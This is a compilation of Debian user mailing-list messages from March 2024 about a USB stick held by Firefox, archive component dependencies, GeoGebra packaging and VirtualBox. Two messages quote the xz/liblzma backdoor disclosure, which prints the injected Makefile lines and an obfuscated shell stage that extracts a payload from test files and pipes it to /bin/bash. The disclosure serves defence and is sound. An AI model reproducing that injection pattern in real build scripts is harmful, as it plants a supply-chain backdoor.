Re: Debian 12.5 up-to-date Xfce, Firefox clings to USB stick

[David Wright]

On Sat 30 Mar 2024 at 21:06:27 (+0200), Antti-Pekka Känsälä wrote:
> I was able to replicate this, by trying to send gmail to myself in Firefox,
> attaching a binary on a mounted USB stick.

Did you mount the stick yourself as a user (ie there's an
fstab entry for it), or as root, or does an automounter
mount it for you?

> After the attachment supposedly
> was uploaded, I tried to unmount the stick, but it blocks. "lsof | grep -i
> KINGSTON" then shows a total of 129 lines from "x-www-browser". This lasted
> for about a minute, then the drive unmounted by itself.

This is the behaviour I see, where (1) inserting a stick creates
a mountpoint and (2) that mountpoint is referenced in /etc/fstab:

After typing Ctrl-O in Firefox, I navigate to /media/foo (the
mountpoint that was created). Double-clicking on the directory
mounts it and displays the files in it. Opening a text file
displays it. At least for a small file, FF does not hold the
file open, so I can immediately unmount the stick. That may
differ if, for example, a mail MUA or MTA is taking a lot of
time to process an attached file.

So I suspect you may be relying on an automounter to mount the
stick, and you have to wait for a period of inactivity to time
out before it decides you've probably finished with it.

Cheers,
David.

Re: Dependencies between components.

[Max Nikulin]

On 30/03/2024 22:54, Tim Woodall wrote:

I'm unclear whether backports is allowed to depend on -updates


You have not mentioned bookworm-security.


contrib  : non-free non-free-firmware main
non-free : non-free-firmware main
non-free-firmware    : main


https://www.debian.org/doc/debian-policy/ch-archive.html#archive-areas
2.2. Archive areas in Debian Policy Manual

Re: OT: Lista de correo sobre HARDWARE

[Eduardo Jorge Gil Michelena]

 El 2024-03-26 a las 16:23 +, Eduardo Jorge Gil Michelena escribió:
> Estimada gente:
> Disculpen el OT...
> ¿Conocen alguna lista de correos o foro web sobre Hardware?
¿De hardware en general o buscas algo más concreto?

> Antes había muchos pero ahora... parece que han desaparecido o por lo menos 
> los que yo conocía.
> Y en la WEB... la información que suelo buscar seguramente debe estar pero... 
> con tanta página y sitio con información pobre y claramente comercial, es 
> difícil encontrar algo técnico que seguramente debe estar... como lo puede 
> estar una aguja en un pajar.


**

El viernes, 29 de marzo de 2024, 05:25:25 ART, Camaleón  
escribió:
Cómo echo de menos NNTP ;-(

En fin, no sólo han ido desapareciendo servicios como Usenet y/o
servicios vinculados (Gmane), también existen cada vez menos listas de
correo y foros especializados abiertos y accesibles y más páginas
cerradas de infumables redes sociales como TikTok-Instagram-catapom.

Echa un vistazo a servicios clásicos como The Mail Archive y busca por
algún grupo o lista de correo de hardware que te guste (especializado o
genérico).

De momento localizo el clásico:

https://www.mail-archive.com/hardware@hardwaregroup.com/info.html

Y parece que sigue vivo:

https://www.mail-archive.com/hardware@hardwaregroup.com/maillist.html

En cuanto a foros de hardware tienes más opciones (en inglés y español):

https://www.google.com/search?q=hardware+forum
https://www.google.com/search?q=foro+hardware+espa%C3%B1ol


Saludos,
-- 
Camaleón


-

Ah, OK.
GRACIAS por responder.
Tal parece que las buenas listas de correo y foros han ido desapareciendo.
Ya me parecía a mi eso... 

Ahora hay mucho "Youtuber" "TiTokero" de los que se rescata poca cosa.
Y para colmo las páginas "técnicas" ya casi están sepultadas por el motón de 
páginas inservibles (copias de copias de copias) que aportan casi nada.

A fines de la década de 1990 comienzo de la del 2000 había menos sitios pero... 
tenían información de buena calidad técnica. Ahora prácticamente son páginas 
"comerciales" que dicen poco y nada.

Bueno... es así...
GRACIAS.  

Re: Paquetes snap sin snap.

[Carlos Villiere]

¡Hola a todos!
Tengo una versión para amd64 que corro en Debian 11 sin problemas y no
tengo inconveniente en compartirla con ustedes. Lo que no sé,¿cómo hacerlas
llegar?
El archivo es geogebra-clasic_6.0.666.0-202109211234_amd64.deb
Saludos

El sáb, 30 mar 2024 a las 15:02, Camaleón () escribió:

> El 2024-03-30 a las 09:23 -0300, JavierDebian escribió:
> >
> > El 30/3/24 a las 05:50, Camaleón escribió:
> > > El 2024-03-29 a las 09:07 -0300, JavierDebian escribió:
> > >
> > > > El 29/3/24 a las 06:49, Listas escribió:
> > > > > El jue, 28-03-2024 a las 14:59 -0300, JavierDebian escribió:
> > > > > > Buenas tardes.
> > > > > >
> > > > > > Proyecto para mi fin de semana:
> > > > > >
> > > > > > Instalar paquetes de SNAP sin instalar Snap.
> > > > > > Odio Snap.
> > > > >
> > > > > ¿Hay alguna razón para necesitar que sea un paquete snap?
> > > > > Quiero decir, ¿no está empaquetado en la distribución? ¿no se
> > > > > distribuye en otro formato?
> > > > >
> > > > > >
> > > > > > ¿Alguien tiene alguna idea o intentó algo?
> > > > >
> > > > > Nunca utilizé snap pero se podría buscar otro tipo de contenedor,
> como
> > > > > un docker o similar, o simplemente compilarlo si está disponible el
> > > > > código.
> > > > >
> > > > > Un saludo
> > > > >
> > > >
> > > > Buen día para todos y esperanza fundada para aquellos que somos
> creyentes.
> > > >
> > > > El paquete en cuestión es Geogebra.
> > >
> > > (...)
> > >
> > > Parece que están reduciendo el soporte de la aplicación en Linux:
> > >
> > > 
> > > Can we expect an up-to-date Linux application package in the near
> future?
> > > https://www.reddit.com/r/geogebra/comments/17e0rpb/comment/k60gd50/
> > >
> > > mike_geogebra / hace 5 m
> > >
> > > Sorry, the only official way to run GeoGebra on Linux is in the Chrome
> > > browser, or
> > >
> https://wiki.geogebra.org/en/Reference:GeoGebra_Installation#GeoGebra_Classic_5_for_Desktop
> > > 
> >
> >
> > Justamente lo que decía.
> > Es una API de Chrome.
> > Se puede correr "stand alone" si uno revuelve la página de descarga, que
> > hasta ahora no la han bloqueado para un acceso de fuerza bruta.
> > El sitio es
> > https://download.geogebra.org/installers/6.0 y el paquete es
> > GeoGebra-Linux64-Portable-6-0-804-0.zip
> > No es fácil llegar, dado que no hay enlace alguno.
> > Lo que está está en SNAP, justamente, lo que hace es bajar esa API y al
> > hacerla correr en modo "independiente" (no se ve el navegador), parece
> que
> > es un paquete autónomo.
> > No me molesta correrlo así, lo que me molesta es SNAP.
>
> No veo dependencia estricta/directa con Snap :-?
>
> Si hay .deb de la versión 6.0 clásica para la arquitectura armhf¹, y
> está disponible en otras distribuciones (Gentoo, Archlinux...) el
> problema entonces que que NO hay nadie que lo empaquete para amd64 en
> Debian, pero no parece una limitación impuesta por el desarrollador.
>
> ¹
> https://download.geogebra.org/installers/6.0/geogebra-classic_6.0.609.0-202010060653_armhf.deb
> ²https://packages.gentoo.org/packages/sci-mathematics/geogebra-bin
> ³https://archlinux.org/packages/extra/x86_64/geogebra/
>
> Saludos,
>
> --
> Camaleón
>
>

Re: Debian 12.5 up-to-date Xfce, Firefox clings to USB stick

[David Christensen]

On 3/30/24 08:17, Antti-Pekka Känsälä wrote:

What could be the deal, when Firefox tries to stop me from unmounting a
stick, after I've accessed files on it through Firefox?  I worry about my
stick security.  Thanks.



Linux knows what files are open on each file system.  If you try to 
unmount a file system with open files or eject a mounted USB drive with 
open files, Linux will refuse and your desktop environment will display 
a suitable error dialog.  This is a feature, not a bug.



The solution is to close all the files on the file system, and then 
unmount it.



David

Re: Bluetooth sound problems playing from a web browser

[Richmond]

Richmond  writes:

> When playing videos in a web browser, and sending the sound to a
> bluetooth speaker (amazon echo) I get playback problems; stuttering,
> sound quality reduction to AM radio level or lower). These things can
> clear up after a minute or two, or be reduced.
>
> When playing from nvlc however I get no such problems. (I haven't
> tried vlc so I am not sure if it is just that it is a command line).
>
> I have tried google-chrome and firefox-esr.
>
> Perhaps there is some other browser which will work? Maybe I need to
> isolate the process from the browser? I tried pop-out picture on you
> tube and it improved but there was still stuttering.

I installed Falkon and Konqueror. I tried Falkon and it worked fine, no
sound problems. But then I tried Google-chrome again and that was
working fine too, and so was Firefox-esr. The problems have gone away
and even rebooting doesn't bring them back. Maybe one of those browsers
brought a better library with it.

Re: [oss-security] backdoor in upstream xz/liblzma leading to ssh server compromise

[Andy Smith]

Hi,

On Sat, Mar 30, 2024 at 08:57:14PM +, fxkl4...@protonmail.com wrote:
> so is this a threat to us normal debian users

If you have to ask, i.e. you do not know how to check that your
Debian install is secured against extremely well known recent
exploits that have been plastered across the entire Internet,
then yes, your Debian install is at risk - from this gap in your
knowledge.

It's okay to not know things, but let's rectify that.

Every Debian user that manages their own machine(s) should read
this:

https://www.debian.org/doc/manuals/debian-handbook/

In it there is a chapter on keeping up to date:


https://www.debian.org/doc/manuals/debian-handbook/sect.regular-upgrades.en.html

That will get you a long way - letting you kn ow when there's
updated packages available for your version of Debian.

But what about known issues that may or may not have been yet
tackled by Debian?

You can find a reference for advisories here:

https://www.debian.org/security/

And you can be fed info by email by subscribing to:

https://lists.debian.org/debian-security-announce/

Between those last two links your specific question here is answered
but in case you object to being taught to fish, here is your fish:

https://lists.debian.org/debian-security-announce/2024/msg00057.html

Bon appetit.
Andy

-- 
https://bitfolk.com/ -- No-nonsense VPS hosting

Re: [oss-security] backdoor in upstream xz/liblzma leading to ssh server compromise

[Michel Verdier]

On 2024-03-30, fxkl4...@protonmail.com wrote:

> so is this a threat to us normal debian users
> if so how do we fix it

Debian stable is not affected, Debian testing, unstable and
experimental must be updated.

https://lists.debian.org/debian-security-announce/2024/msg00057.html

Re: [oss-security] backdoor in upstream xz/liblzma leading to ssh server compromise

[fxkl47BF]

so is this a threat to us normal debian users
if so how do we fix it

On Sat, 30 Mar 2024, Jeffrey Walton wrote:

> It looks like more analysis has revealed this is a RCE with the
> payload in the modulus of a public key: "The payload is extracted from
> the N value (the public key) passed to RSA_public_decrypt, checked
> against a simple fingerprint, and decrypted with a fixed ChaCha20 key
> before the Ed448 signature verification..." Also see
> .
>
> On Fri, Mar 29, 2024 at 1:52 PM Jeffrey Walton  wrote:
>>
>> Seems relevant since Debian adopted xz about 10 years ago.
>>
>> -- Forwarded message -
>> From: Andres Freund 
>> Date: Fri, Mar 29, 2024 at 12:10 PM
>> Subject: [oss-security] backdoor in upstream xz/liblzma leading to ssh
>> server compromise
>> To: 
>>
>> Hi,
>>
>> After observing a few odd symptoms around liblzma (part of the xz package) on
>> Debian sid installations over the last weeks (logins with ssh taking a lot of
>> CPU, valgrind errors) I figured out the answer:
>>
>> The upstream xz repository and the xz tarballs have been backdoored.
>>
>> At first I thought this was a compromise of debian's package, but it turns 
>> out
>> to be upstream.
>>
>> == Compromised Release Tarball ==
>>
>> One portion of the backdoor is *solely in the distributed tarballs*. For
>> easier reference, here's a link to debian's import of the tarball, but it is
>> also present in the tarballs for 5.6.0 and 5.6.1:
>>
>> https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L63
>>
>> That line is *not* in the upstream source of build-to-host, nor is
>> build-to-host used by xz in git.  However, it is present in the tarballs
>> released upstream, except for the "source code" links, which I think github
>> generates directly from the repository contents:
>>
>> https://github.com/tukaani-project/xz/releases/tag/v5.6.0
>> https://github.com/tukaani-project/xz/releases/tag/v5.6.1
>>
>>
>> This injects an obfuscated script to be executed at the end of configure. 
>> This
>> script is fairly obfuscated and data from "test" .xz files in the repository.
>>
>>
>> This script is executed and, if some preconditions match, modifies
>> $builddir/src/liblzma/Makefile to contain
>>
>> am__test = bad-3-corrupt_lzma2.xz
>> ...
>> am__test_dir=$(top_srcdir)/tests/files/$(am__test)
>> ...
>> sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
>>
>>
>> which ends up as
>> ...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "
>>   \-_" " _\-" | xz -d | /bin/bash >/dev/null 2>&1; ...
>>
>> Leaving out the "| bash" that produces
>>
>> Hello
>> #�Z�.hj�
>> eval `grep ^srcdir= config.status`
>> if test -f ../../config.status;then
>> eval `grep ^srcdir= ../../config.status`
>> srcdir="../../$srcdir"
>> fi
>> export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c
>> +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +724)";(xz -dc
>> $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c
>> +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131"
>> "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
>> World
>>
>> After de-obfuscation this leads to the attached injected.txt.
>>
>>
>> == Compromised Repository ==
>>
>> The files containing the bulk of the exploit are in an obfuscated form in
>>   tests/files/bad-3-corrupt_lzma2.xz
>>   tests/files/good-large_compressed.lzma
>> committed upstream. They were initially added in
>> https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0
>>
>> Note that the files were not even used for any "tests" in 5.6.0.
>>
>>
>> Subsequently the injected code (more about that below) caused valgrind errors
>> and crashes in some configurations, due the stack layout differing from what
>> the backdoor was expecting.  These issues were attempted to be worked around
>> in 5.6.1:
>>
>> https://github.com/tukaani-project/xz/commit/e5faaebbcf02ea880cfc56edc702d4f7298788ad
>> https://github.com/tukaani-project/xz/commit/72d2933bfae514e0dbb123488e9f1eb7cf64175f
>> https://github.com/tukaani-project/xz/commit/82ecc538193b380a21622aea02b0ba078e7ade92
>>
>> For which the exploit code was then adjusted:
>> 

Re: Re: Re: Debian 12.5 up-to-date Xfce, Firefox clings to USB stick

[Antti-Pekka Känsälä]

I'd just like to add that I have seen the problem despite reinstalls with
Debian stable minor versions. Thanks!

Re: [oss-security] backdoor in upstream xz/liblzma leading to ssh server compromise

[Jeffrey Walton]

It looks like more analysis has revealed this is a RCE with the
payload in the modulus of a public key: "The payload is extracted from
the N value (the public key) passed to RSA_public_decrypt, checked
against a simple fingerprint, and decrypted with a fixed ChaCha20 key
before the Ed448 signature verification..." Also see
.

On Fri, Mar 29, 2024 at 1:52 PM Jeffrey Walton  wrote:
>
> Seems relevant since Debian adopted xz about 10 years ago.
>
> -- Forwarded message -
> From: Andres Freund 
> Date: Fri, Mar 29, 2024 at 12:10 PM
> Subject: [oss-security] backdoor in upstream xz/liblzma leading to ssh
> server compromise
> To: 
>
> Hi,
>
> After observing a few odd symptoms around liblzma (part of the xz package) on
> Debian sid installations over the last weeks (logins with ssh taking a lot of
> CPU, valgrind errors) I figured out the answer:
>
> The upstream xz repository and the xz tarballs have been backdoored.
>
> At first I thought this was a compromise of debian's package, but it turns out
> to be upstream.
>
> == Compromised Release Tarball ==
>
> One portion of the backdoor is *solely in the distributed tarballs*. For
> easier reference, here's a link to debian's import of the tarball, but it is
> also present in the tarballs for 5.6.0 and 5.6.1:
>
> https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L63
>
> That line is *not* in the upstream source of build-to-host, nor is
> build-to-host used by xz in git.  However, it is present in the tarballs
> released upstream, except for the "source code" links, which I think github
> generates directly from the repository contents:
>
> https://github.com/tukaani-project/xz/releases/tag/v5.6.0
> https://github.com/tukaani-project/xz/releases/tag/v5.6.1
>
>
> This injects an obfuscated script to be executed at the end of configure. This
> script is fairly obfuscated and data from "test" .xz files in the repository.
>
>
> This script is executed and, if some preconditions match, modifies
> $builddir/src/liblzma/Makefile to contain
>
> am__test = bad-3-corrupt_lzma2.xz
> ...
> am__test_dir=$(top_srcdir)/tests/files/$(am__test)
> ...
> sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
>
>
> which ends up as
> ...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "
>   \-_" " _\-" | xz -d | /bin/bash >/dev/null 2>&1; ...
>
> Leaving out the "| bash" that produces
>
> Hello
> #��Z�.hj�
> eval `grep ^srcdir= config.status`
> if test -f ../../config.status;then
> eval `grep ^srcdir= ../../config.status`
> srcdir="../../$srcdir"
> fi
> export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c
> +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
> -c +1024 >/dev/null) && head -c +724)";(xz -dc
> $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c
> +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131"
> "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
> World
>
> After de-obfuscation this leads to the attached injected.txt.
>
>
> == Compromised Repository ==
>
> The files containing the bulk of the exploit are in an obfuscated form in
>   tests/files/bad-3-corrupt_lzma2.xz
>   tests/files/good-large_compressed.lzma
> committed upstream. They were initially added in
> https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0
>
> Note that the files were not even used for any "tests" in 5.6.0.
>
>
> Subsequently the injected code (more about that below) caused valgrind errors
> and crashes in some configurations, due the stack layout differing from what
> the backdoor was expecting.  These issues were attempted to be worked around
> in 5.6.1:
>
> https://github.com/tukaani-project/xz/commit/e5faaebbcf02ea880cfc56edc702d4f7298788ad
> https://github.com/tukaani-project/xz/commit/72d2933bfae514e0dbb123488e9f1eb7cf64175f
> https://github.com/tukaani-project/xz/commit/82ecc538193b380a21622aea02b0ba078e7ade92
>
> For which the exploit code was then adjusted:
> https://github.com/tukaani-project/xz/commit/6e636819e8f070330d835fce46289a3ff72a7b89
>
> Given the activity over several weeks, the committer is either directly
> involved or there was some quite severe compromise of their
> system. Unfortunately the 

Re: Re: Debian 12.5 up-to-date Xfce, Firefox clings to USB stick

[tomas]

On Sat, Mar 30, 2024 at 07:32:16PM +0200, Antti-Pekka Känsälä wrote:
> Yes, closing Firefox does allow the stick to unmount cleanly, but I still
> worry.

To get an idea of what's going on, you can use "lsof":

  tomas@trotzki:~$ lsof /dev/sda1
  COMMAND  PID  USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
  bash3982 tomas  cwdDIR8,1 40962 /boot
  hexdump 4056 tomas0r   REG8,1 33464584   28 
/boot/initrd.img-5.10.0-26-amd64
  hexdump 4074 tomas0r   REG8,1  7044672   27 
/boot/vmlinuz-5.10.0-26-amd64

There are three processes accessing my /dev/sda1 ("aka" /boot). I put
them there to have something to show :-)

Cheers
-- 
t


signature.asc
Description: PGP signature

Re: Re: Debian 12.5 up-to-date Xfce, Firefox clings to USB stick

[Antti-Pekka Känsälä]

I can replicate this, by trying to send Gmail to myself in Firefox,
attaching a binary on a mounted USB stick. After the attachment supposedly
was uploaded, I tried to unmount the stick, but it blocked. "lsof | grep -i
KINGSTON" then shows a total of 129 lines from "x-www-browser". This lasted
for about a minute, then the drive unmounted by itself.

Re: Re: Debian 12.5 up-to-date Xfce, Firefox clings to USB stick

[Antti-Pekka Känsälä]

I was able to replicate this, by trying to send gmail to myself in Firefox,
attaching a binary on a mounted USB stick. After the attachment supposedly
was uploaded, I tried to unmount the stick, but it blocks. "lsof | grep -i
KINGSTON" then shows a total of 129 lines from "x-www-browser". This lasted
for about a minute, then the drive unmounted by itself.

Re: Installation de VirtualBox par les dépots Debian?

[Frederic Zulian]

Euh, donc si j'ai bien compris il faut rajouter unstable dans sources.list
et  creer le fichier  preferences avec un pinning haut pour testing 900 et
un pinning bas 100 pour unstable ?

On Fri, 29 Mar 2024, 14:08 Eric DEGENETAIS,  wrote:

> Le jeu. 28 mars 2024 à 09:00, Lucas Nussbaum  a écrit :
>
>> VirtualBox est libre (les paquets sont dans Debian "contrib" pour
>> unstable, car ils dépendent d'un autre paquet non libre), mais Oracle
>> refuse de fournir des détails sur les problèmes de sécurité, ce qui rend
>> impossible une intégration dans Debian stable.
>>
>> Voir https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=794466#215
>>
>> A ma connaissance la situation n'a pas évolué depuis ce message.
>>
>> Lucase
>>
> En complément, si on accepte d'installer une contrib (comme moi) ça
> fonctionne. Du moins je n'ai jamais eu de problème avec ces paquets.
> Simplement on ne bénéficie pas de la stabilité habituelle, puisque Oracle
> fait les versions à sa sauce et impose son cycle de vie sans fournir les
> informations qui pourraient permettre les backports.
> Pour la petite histoire de "la boite qui fait VirtualBox", on en est au
> second rachat d'après https://fr.wikipedia.org/wiki/Oracle_VM_VirtualBox,
> le premier n'ayant pas posé de problème (cette "obscure boite qui faisait
> VB" avant Oracle était... Sun Microsystems, qui semble t'il jouait
> nettement plus le jeu de l'open source qu'Oracle. L'entreprise qui avait
> initié le projet était Innotek (Allemagne).
>
>
> Cordialement
>
> Éric Degenetais
>
>

Re: Debian 12.5 up-to-date Xfce, Firefox clings to USB stick

[Charles Curley]

On Sat, 30 Mar 2024 17:17:52 +0200
Antti-Pekka Känsälä  wrote:

> What could be the deal, when Firefox tries to stop me from unmounting
> a stick, after I've accessed files on it through Firefox?  I worry
> about my stick security.  Thanks.

It sounds like Firefox has a file open on the stick. To check this, run
something like

lsof | grep -i offsite

where offsite is in the path to the stick.

-- 
Does anybody read signatures any more?

https://charlescurley.com
https://charlescurley.com/blog/

Re: Paquetes snap sin snap.

[Camaleón]

El 2024-03-30 a las 09:23 -0300, JavierDebian escribió:
> 
> El 30/3/24 a las 05:50, Camaleón escribió:
> > El 2024-03-29 a las 09:07 -0300, JavierDebian escribió:
> > 
> > > El 29/3/24 a las 06:49, Listas escribió:
> > > > El jue, 28-03-2024 a las 14:59 -0300, JavierDebian escribió:
> > > > > Buenas tardes.
> > > > > 
> > > > > Proyecto para mi fin de semana:
> > > > > 
> > > > > Instalar paquetes de SNAP sin instalar Snap.
> > > > > Odio Snap.
> > > > 
> > > > ¿Hay alguna razón para necesitar que sea un paquete snap?
> > > > Quiero decir, ¿no está empaquetado en la distribución? ¿no se
> > > > distribuye en otro formato?
> > > > 
> > > > > 
> > > > > ¿Alguien tiene alguna idea o intentó algo?
> > > > 
> > > > Nunca utilizé snap pero se podría buscar otro tipo de contenedor, como
> > > > un docker o similar, o simplemente compilarlo si está disponible el
> > > > código.
> > > > 
> > > > Un saludo
> > > > 
> > > 
> > > Buen día para todos y esperanza fundada para aquellos que somos creyentes.
> > > 
> > > El paquete en cuestión es Geogebra.
> > 
> > (...)
> > 
> > Parece que están reduciendo el soporte de la aplicación en Linux:
> > 
> > 
> > Can we expect an up-to-date Linux application package in the near future?
> > https://www.reddit.com/r/geogebra/comments/17e0rpb/comment/k60gd50/
> > 
> > mike_geogebra / hace 5 m
> > 
> > Sorry, the only official way to run GeoGebra on Linux is in the Chrome
> > browser, or
> > https://wiki.geogebra.org/en/Reference:GeoGebra_Installation#GeoGebra_Classic_5_for_Desktop
> > 
> 
> 
> Justamente lo que decía.
> Es una API de Chrome.
> Se puede correr "stand alone" si uno revuelve la página de descarga, que
> hasta ahora no la han bloqueado para un acceso de fuerza bruta.
> El sitio es
> https://download.geogebra.org/installers/6.0 y el paquete es
> GeoGebra-Linux64-Portable-6-0-804-0.zip
> No es fácil llegar, dado que no hay enlace alguno.
> Lo que está está en SNAP, justamente, lo que hace es bajar esa API y al
> hacerla correr en modo "independiente" (no se ve el navegador), parece que
> es un paquete autónomo.
> No me molesta correrlo así, lo que me molesta es SNAP.

No veo dependencia estricta/directa con Snap :-?

Si hay .deb de la versión 6.0 clásica para la arquitectura armhf¹, y 
está disponible en otras distribuciones (Gentoo, Archlinux...) el 
problema entonces que que NO hay nadie que lo empaquete para amd64 en 
Debian, pero no parece una limitación impuesta por el desarrollador.

¹https://download.geogebra.org/installers/6.0/geogebra-classic_6.0.609.0-202010060653_armhf.deb
²https://packages.gentoo.org/packages/sci-mathematics/geogebra-bin
³https://archlinux.org/packages/extra/x86_64/geogebra/

Saludos,

-- 
Camaleón 

Re: Debian 12.5 up-to-date Xfce, Firefox clings to USB stick

[Cindy Sue Causey]

On Sat, Mar 30, 2024 at 1:19 PM gene heskett  wrote:
>
> On 3/30/24 11:36, Antti-Pekka Känsälä wrote:
> > What could be the deal, when Firefox tries to stop me from unmounting a
> > stick, after I've accessed files on it through Firefox?  I worry about
> > my stick security.  Thanks.
>
> Since this is normally a root operation, I'm confused. Likely what it
> means is that you have an open write path from firefox to the stick that
> has not been properly closed. I get into a similar state working with
> u-sd's using mc to edit something I have used mc to cd to, and forget to
> cd back out of the u-sd before I eject the card to take it to its proper
> home in a pi clone. Possibly fixed by stopping firefox first?


The other thing I try with this is to run something like:

$ mount|grep sda2

The "sda2" can be replaced with whatever else is involved. That filters out a
hopefully small(er) list to show if something is unusually mounted. Running
"mount" alone opens up the whole list.

Going that route helped me in chroot a couple days ago. An unbelievable number
of /proc, /sys, /dev, and /dev/pts mount points appeared. I only manually
mounted them once each. Manually umount'ing each point until none were left
fixed whatever trouble that seemed to inflict on apt-get.

Cindy :)
-- 
Cindy-Sue Causey
Talking Rock, Pickens County, Georgia, USA
* runs with birdseed *

Re: Re: Debian 12.5 up-to-date Xfce, Firefox clings to USB stick

[Antti-Pekka Känsälä]

Yes, closing Firefox does allow the stick to unmount cleanly, but I still
worry.

Re: Debian 12.5 up-to-date Xfce, Firefox clings to USB stick

[gene heskett]

On 3/30/24 11:36, Antti-Pekka Känsälä wrote:
What could be the deal, when Firefox tries to stop me from unmounting a 
stick, after I've accessed files on it through Firefox?  I worry about 
my stick security.  Thanks.


Since this is normally a root operation, I'm confused. Likely what it 
means is that you have an open write path from firefox to the stick that 
has not been properly closed. I get into a similar state working with 
u-sd's using mc to edit something I have used mc to cd to, and forget to 
cd back out of the u-sd before I eject the card to take it to its proper 
home in a pi clone. Possibly fixed by stopping firefox first?


Cheers, Gene Heskett, CET.
--
"There are four boxes to be used in defense of liberty:
 soap, ballot, jury, and ammo. Please use in that order."
-Ed Howdershelt (Author, 1940)
If we desire respect for the law, we must first make the law respectable.
 - Louis D. Brandeis

Re: making Debian secure by default

[Curt]

On 2024-03-29, Andy Smith  wrote:

> I wasn't trying to bait you in any way. The above was what I thought
> was a light-hearted way to say that I genuinely think you need to
> relax a little about things that are outside of your control. I'm
> sorry it wasn't taken that way and I get that you don't share that
> view.

I admit I missed the subtly light-hearted tone of your remarks. But the
people here in general are the exact equivalent of the senile: they
repeat the same weary stories over and over again as if they were
forever new, and we'd not heard them numerous times before. There's
always someone in these discussions who, having accepted the current
estimate of the age of the universe, then asserts that it will require
twice that period to crack this or that password. The incontrovertible
evidence that this is irrelevant to the price of tea in China is
infrequently noted. So I noted it and gave a recent example of its
complete irrelevancy. The ruffled feathers of you old birds serves, at
least, as a modicum of comic relief.

> Thanks,


> Andy
>


-- 

Dependencies between components.

[Tim Woodall]

Is there a wiki or something else that lays out exactly what other
distributions and components each debian (distribution,component) tuple
is allowed to depend on?

This is what I've concluded so far.

I'm assuming transitive dependencies are allowed, e.g.
bookworm-updates-contrib can depend on bookworm-non-free so I've
considered the dependencies between distributions with the same
component and the dependencies between components of the same
distribution separately.


First considering the distribution dependencies. All of these are
always allowed between the same component.

bookworm-proposed-updates : bookworm
bookworm-updates  : bookworm
bookworm-backports-sloppy : bookworm-backports bookworm
bookworm-backports: bookworm

I believe that updates is a subset of proposed-updates so dependency
on updates by proposed-updates is moot

I'm unclear whether backports is allowed to depend on -updates but I
assume not as I've not seen anything saying that you need to enable
-updates if you enable -backports. I guess the backporter would have to
wait for the point release if they ever needed something only in
bookworm-updates (it's hard to imagine many cases where a -updates
package would be required for backporting so this is somewhat
theoretical - I think it's only if there's a security update involved)


Now considering the dependencies between components in the same
distribution:

contrib  : non-free non-free-firmware main
non-free : non-free-firmware main
non-free-firmware: main

Some sources seem to say that non-free depends on contrib while others
say contrib depends on non-free. My understanding on contrib is that it
is for packages that cannot be in main because they depend on non-free
even though they're otherwise free. But I'm not sure if there's a two
way dependency here.

I'm assuming that non-free-firmware cannot depend on non-free or contrib
- that would seem to defeat the goal of non-free-firmware - although I
could see a case where a firmware loader is in contrib while the
firmware itself is in non-free so I'm not sure exactly what is allowed
or expected here.

Debian 12.5 up-to-date Xfce, Firefox clings to USB stick

[Antti-Pekka Känsälä]

What could be the deal, when Firefox tries to stop me from unmounting a
stick, after I've accessed files on it through Firefox?  I worry about my
stick security.  Thanks.

Re: Paquetes snap sin snap.

[JavierDebian]

El 30/3/24 a las 05:50, Camaleón escribió:

El 2024-03-29 a las 09:07 -0300, JavierDebian escribió:


El 29/3/24 a las 06:49, Listas escribió:

El jue, 28-03-2024 a las 14:59 -0300, JavierDebian escribió:

Buenas tardes.

Proyecto para mi fin de semana:

Instalar paquetes de SNAP sin instalar Snap.
Odio Snap.


¿Hay alguna razón para necesitar que sea un paquete snap?
Quiero decir, ¿no está empaquetado en la distribución? ¿no se
distribuye en otro formato?



¿Alguien tiene alguna idea o intentó algo?


Nunca utilizé snap pero se podría buscar otro tipo de contenedor, como
un docker o similar, o simplemente compilarlo si está disponible el
código.

Un saludo



Buen día para todos y esperanza fundada para aquellos que somos creyentes.

El paquete en cuestión es Geogebra.


(...)

Parece que están reduciendo el soporte de la aplicación en Linux:


